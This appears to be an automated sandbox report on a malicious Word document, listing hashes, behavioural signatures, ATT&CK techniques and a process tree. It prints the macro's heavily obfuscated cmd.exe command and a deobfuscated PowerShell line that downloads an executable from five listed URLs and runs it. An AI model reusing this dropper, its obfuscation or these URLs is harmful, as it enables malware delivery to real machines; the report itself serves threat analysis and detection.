f32bb24d114407e601968a2908030e4e12277051ed2d439efb99bf63204ad4b8

General

Target

63a5df4ae97bb27edf5bd67659935560_JaffaCakes118.doc
Size

176KB
MD5

63a5df4ae97bb27edf5bd67659935560
SHA1

782ac721cedd47fd6c2a0ef1c6d5d637a70fed20
SHA256

f32bb24d114407e601968a2908030e4e12277051ed2d439efb99bf63204ad4b8
SHA512

d329521898b9e1d70cfd32f7546bb875685430ed1b00b3a2cbdd9c2f545754edc1082d4466d84ba77914eba7081f4449536191fb05162137e86577d57f73a053
SSDEEP

3072:BxjnB29gb8onegCZ4B9s5l7sOB/izw2RW0ntt:Bxy3HM9Q5ERW

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://coopspage.com/fLCt

exe.dropper

http://butterbean.se/KKHaZ8Oh

exe.dropper

http://boutique-amour.jp/958Jf

exe.dropper

http://bike-nomad.com/wp-content/jBN92RTl

exe.dropper

http://websitedesigngarden.com/fmkE

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1572	520	Cmd.exe	WINWORD.EXE

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

35 2136 powershell.exe
37 2136 powershell.exe
39 2136 powershell.exe
42 2136 powershell.exe
44 2136 powershell.exe
46 2136 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

Cmd.execmd.exe

pid process

1572 Cmd.exe
2172 cmd.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2136 powershell.exe

flow	pid	process
35	2136	powershell.exe
37	2136	powershell.exe
39	2136	powershell.exe
42	2136	powershell.exe
44	2136	powershell.exe
46	2136	powershell.exe

pid	process
1572	Cmd.exe
2172	cmd.exe

pid	process
2136	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

520 WINWORD.EXE
520 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2136 powershell.exe
2136 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2136 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

520 WINWORD.EXE
520 WINWORD.EXE
520 WINWORD.EXE
520 WINWORD.EXE
520 WINWORD.EXE
520 WINWORD.EXE
520 WINWORD.EXE

pid	process
520	WINWORD.EXE
520	WINWORD.EXE

pid	process
2136	powershell.exe
2136	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2136	powershell.exe

pid	process
520	WINWORD.EXE
520	WINWORD.EXE
520	WINWORD.EXE
520	WINWORD.EXE
520	WINWORD.EXE
520	WINWORD.EXE
520	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXECmd.execmd.exe

description	pid	process	target process
PID 520 wrote to memory of 1572	520	WINWORD.EXE	Cmd.exe
PID 520 wrote to memory of 1572	520	WINWORD.EXE	Cmd.exe
PID 1572 wrote to memory of 2172	1572	Cmd.exe	cmd.exe
PID 1572 wrote to memory of 2172	1572	Cmd.exe	cmd.exe
PID 2172 wrote to memory of 2136	2172	cmd.exe	powershell.exe
PID 2172 wrote to memory of 2136	2172	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\63a5df4ae97bb27edf5bd67659935560_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:520

C:\Windows\SYSTEM32\Cmd.exe
Cmd wZRiwhJfF uoGFDZmwViVVuSwozQbK fiwFOrHBht & %co^m^S^p^E^c% /c ^c^M^d; ; ; /^V^ ^ ; ; /r" ;; (SE^T ^ Wt^b=nT1 1Hc ^aC5^ u^GQ HK^v nD0^ 5Jk L0^8 Nli ^MqW ^U2d 8zU ^e1I EKF ^aox cfg G^AZ^ 1^ym}^cAh}AKM{9^20hVR^vcrbBtdQU^azr8^c^5vL}P6T; s8k^7Jia6ov^e^E^sY^rT^Xob80t;s^K^jjGWrZm1eSXBY$^4^K^l z^T8s^wBGs^5U2e^x^bscAWJolYmrXO^hPW^P^x^-QyAthCWrR^kh^aTIttBA^w^Sy^Dp^;kN5^)^8w^1jDvUZHcX^Se1n^$VR^w l^VG^,5oyzP^iHcc^o^B^WGSd$J^l ^(3Sh^e^opwlgUTin^vm^Fc^4MdSAwa^2T^Yon^pJlUN^Hn6Hrw4JUoF2^ZD^LDh.^K29^fH^51ic^ya^dOV9$HQu{^S^5DyFXDrD1xt5Gx{OPV^)^2VQhhe^7rK6Vzdw^X$vF^z 3^TPn3C4^i7Pz w^RTznKpc^1^V Wh^9z$nM^8^(^7ESh9^M^Hc^UEBaC9^Ze^V76^r^re^hoKlAfi7^P^;op^T'p9^resJP^x^y^8Fe^k^bN.^I^L^M^'G^z5+Y^I9YywZbnA^Xdcsd$Ox^u^+InW'6Qc\Xg^0'2eN+u^sMpv^m8mqY0^e^w6Ctk^zh:f^OSvOLenOK^qe53^F$tlu=gV^Ej4a^WZIi^d^S9x^Z$nc^v^;e4S'Tim9^D^ ^M0^ekI^1Dfe^'eih 9ci=U^I^s^ io0Y0O^GbX1^YdvVM$^9te;^O^0Y^)Ox9'3gI@0^u^p'b^ j^(8S t81si^Q^Ip^lae^ApE lSkWx.ARI^'^IgtEAg^R^kl^cLmcM^UfWQz/^X^74^m^2Qto^t^oPcCn^c.rGCnPUEe7^LQdr8^srw^8Ya^k^gvg 43nJHEg4E^ziJy3sa9^O^egFnd^P^C8ep3OtLD^I^iA^a3sS^e^lbOnLef6hw^78^H/RvJ/^s^q^t:v^IHpO^YEtH3qt^f^jdhq^8^l^@^U^18lb^J^tTW^YsR^bqG2^WvI9ZaBNX5GBEDdjp^wZ/^F^Pc^tZY^wnwMhe2TCtk2tn34 ^o^lmUcNgi-^yr^Vp^E^g^T^wKg /Wtrmu^iZoyR^9^c^XBJ.xO^FdXb8ajcgmCM^Ko^S^Wtn^MOK-^d9^2^eRcok0^Cn^i9u ^bTs9/61^0/W^s^O:nEipvBot2PHtV^GA^h31w^@^jBkftCyJ9CH85^z25v^ph909Z^/iYFpfq^ijib^u.Qp^vrygqua2q^ohOAmL^wpa^b^jY^-L^ PeL5v^u^cM^pq2Fgia1^T^tF^JTunAV^oQWZbF3^9/Ti^5/sA5^:^G9Yp2cAtW^Plt^xLHh^RzS^@OtBhqW^dOjAc8ZE^uZ^Oq3aI^K^QH2^5f^Kt1FKyAQ/^ApC^eoijsBrv^.xgEnCjaa2y6e9S0^bgTlrQHbe^etzt6z^Ot5^h^AuX8cbi^Xk^/ynC/Z9^6^:^4Ecp^y E^t^fy^wt^HKWhhtd@^V18tgJMCbQUL^X^7PfN^Fj/^BP^WmMlr^ohHlcCm^j.^g4reZKr^gs4^OaaIMpyOhss^Cxp^WyOo^DAtoC^StcsCO/iM5/ylA:^XaNpiXAt^fU1to Nh^miG'3Qc=4^yLhK^Rgr^kyU^zi6^8^$X9a;tDRtseHnOy^T^eK^M^L^i6^EMlL8^1C^1^u^Sbw0re^l^0^U^WtM8.Qwi^t^q^7^Q^eO^UNNR52 ^SL^Ht^DY2c^Ay^m^eDL1^jXe9bgE^u^o^M^Jk-TwCwK^5^YeUkSn 47=ZoqfayOisn^kdq^i^z^$qL^B gmil8^6flQ^2Ceu^PBh^c^krsu34rCplex9twDhx^ow^S8p)&& ; ; fo^r ; ; ; /^L ; %^D ; ;; in ; ; (^ ; ^ ; ^1499^ -4 ^ +3) ; ; ; D^O ; ( ; ( ; ( ; ^SET 7^z=!7^z!!Wt^b:~%^D, 1!) ) )& ; ; i^f; ;; %^D;; ; ; ; ; ^Eq^u;^3 ;; ( ( (CA^L^L;; %7^z:^*7^z^!=% ) ; ) ; ) "
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\system32\cmd.exe
cMd ; ; ; /V ; ; /r" ;; (SE^T ^ Wt^b=nT1 1Hc ^aC5^ u^GQ HK^v nD0^ 5Jk L0^8 Nli ^MqW ^U2d 8zU ^e1I EKF ^aox cfg G^AZ^ 1^ym}^cAh}AKM{9^20hVR^vcrbBtdQU^azr8^c^5vL}P6T; s8k^7Jia6ov^e^E^sY^rT^Xob80t;s^K^jjGWrZm1eSXBY$^4^K^l z^T8s^wBGs^5U2e^x^bscAWJolYmrXO^hPW^P^x^-QyAthCWrR^kh^aTIttBA^w^Sy^Dp^;kN5^)^8w^1jDvUZHcX^Se1n^$VR^w l^VG^,5oyzP^iHcc^o^B^WGSd$J^l ^(3Sh^e^opwlgUTin^vm^Fc^4MdSAwa^2T^Yon^pJlUN^Hn6Hrw4JUoF2^ZD^LDh.^K29^fH^51ic^ya^dOV9$HQu{^S^5DyFXDrD1xt5Gx{OPV^)^2VQhhe^7rK6Vzdw^X$vF^z 3^TPn3C4^i7Pz w^RTznKpc^1^V Wh^9z$nM^8^(^7ESh9^M^Hc^UEBaC9^Ze^V76^r^re^hoKlAfi7^P^;op^T'p9^resJP^x^y^8Fe^k^bN.^I^L^M^'G^z5+Y^I9YywZbnA^Xdcsd$Ox^u^+InW'6Qc\Xg^0'2eN+u^sMpv^m8mqY0^e^w6Ctk^zh:f^OSvOLenOK^qe53^F$tlu=gV^Ej4a^WZIi^d^S9x^Z$nc^v^;e4S'Tim9^D^ ^M0^ekI^1Dfe^'eih 9ci=U^I^s^ io0Y0O^GbX1^YdvVM$^9te;^O^0Y^)Ox9'3gI@0^u^p'b^ j^(8S t81si^Q^Ip^lae^ApE lSkWx.ARI^'^IgtEAg^R^kl^cLmcM^UfWQz/^X^74^m^2Qto^t^oPcCn^c.rGCnPUEe7^LQdr8^srw^8Ya^k^gvg 43nJHEg4E^ziJy3sa9^O^egFnd^P^C8ep3OtLD^I^iA^a3sS^e^lbOnLef6hw^78^H/RvJ/^s^q^t:v^IHpO^YEtH3qt^f^jdhq^8^l^@^U^18lb^J^tTW^YsR^bqG2^WvI9ZaBNX5GBEDdjp^wZ/^F^Pc^tZY^wnwMhe2TCtk2tn34 ^o^lmUcNgi-^yr^Vp^E^g^T^wKg /Wtrmu^iZoyR^9^c^XBJ.xO^FdXb8ajcgmCM^Ko^S^Wtn^MOK-^d9^2^eRcok0^Cn^i9u ^bTs9/61^0/W^s^O:nEipvBot2PHtV^GA^h31w^@^jBkftCyJ9CH85^z25v^ph909Z^/iYFpfq^ijib^u.Qp^vrygqua2q^ohOAmL^wpa^b^jY^-L^ PeL5v^u^cM^pq2Fgia1^T^tF^JTunAV^oQWZbF3^9/Ti^5/sA5^:^G9Yp2cAtW^Plt^xLHh^RzS^@OtBhqW^dOjAc8ZE^uZ^Oq3aI^K^QH2^5f^Kt1FKyAQ/^ApC^eoijsBrv^.xgEnCjaa2y6e9S0^bgTlrQHbe^etzt6z^Ot5^h^AuX8cbi^Xk^/ynC/Z9^6^:^4Ecp^y E^t^fy^wt^HKWhhtd@^V18tgJMCbQUL^X^7PfN^Fj/^BP^WmMlr^ohHlcCm^j.^g4reZKr^gs4^OaaIMpyOhss^Cxp^WyOo^DAtoC^StcsCO/iM5/ylA:^XaNpiXAt^fU1to Nh^miG'3Qc=4^yLhK^Rgr^kyU^zi6^8^$X9a;tDRtseHnOy^T^eK^M^L^i6^EMlL8^1C^1^u^Sbw0re^l^0^U^WtM8.Qwi^t^q^7^Q^eO^UNNR52 ^SL^Ht^DY2c^Ay^m^eDL1^jXe9bgE^u^o^M^Jk-TwCwK^5^YeUkSn 47=ZoqfayOisn^kdq^i^z^$qL^B gmil8^6flQ^2Ceu^PBh^c^krsu34rCplex9twDhx^ow^S8p)&& ; ; fo^r ; ; ; /^L ; %^D ; ;; in ; ; (^ ; ^ ; ^1499^ -4 ^ +3) ; ; ; D^O ; ( ; ( ; ( ; ^SET 7^z=!7^z!!Wt^b:~%^D, 1!) ) )& ; ; i^f; ;; %^D;; ; ; ; ; ^Eq^u;^3 ;; ( ( (CA^L^L;; %7^z:^*7^z^!=% ) ; ) ; ) "
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $dif=new-object Net.WebClient;$zrh='http://coopspage.com/fLCt@http://butterbean.se/KKHaZ8Oh@http://boutique-amour.jp/958Jf@http://bike-nomad.com/wp-content/jBN92RTl@http://websitedesigngarden.com/fmkE'.Split('@');$dbY = '109';$SZj=$env:temp+'\'+$dbY+'.exe';foreach($Wcz in $zrh){try{$dif.DownloadFile($Wcz, $SZj);Start-Process $SZj;break;}catch{}}
4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\109.exe
Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD9241.tmp\sist02.xsl
Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lcuuzkmp.v3y.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/520-10-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-7-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-3-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-20-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-8-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-22-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-0-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-12-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-15-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-16-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-14-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-17-0x00007FF8F32D0000-0x00007FF8F32E0000-memory.dmp

Filesize
64KB

Download
memory/520-13-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-11-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-19-0x00007FF8F32D0000-0x00007FF8F32E0000-memory.dmp

Filesize
64KB

Download
memory/520-18-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-592-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-4-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-6-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-9-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-60-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-62-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-63-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-593-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-5-0x00007FF935B4D000-0x00007FF935B4E000-memory.dmp

Filesize
4KB

Download
memory/520-1-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-2-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-549-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-568-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-569-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/520-590-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-591-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-589-0x00007FF8F5B30000-0x00007FF8F5B40000-memory.dmp

Filesize
64KB

Download
memory/520-21-0x00007FF935AB0000-0x00007FF935CA5000-memory.dmp

Filesize
2.0MB

Download
memory/2136-65-0x00000269C3F10000-0x00000269C3F32000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads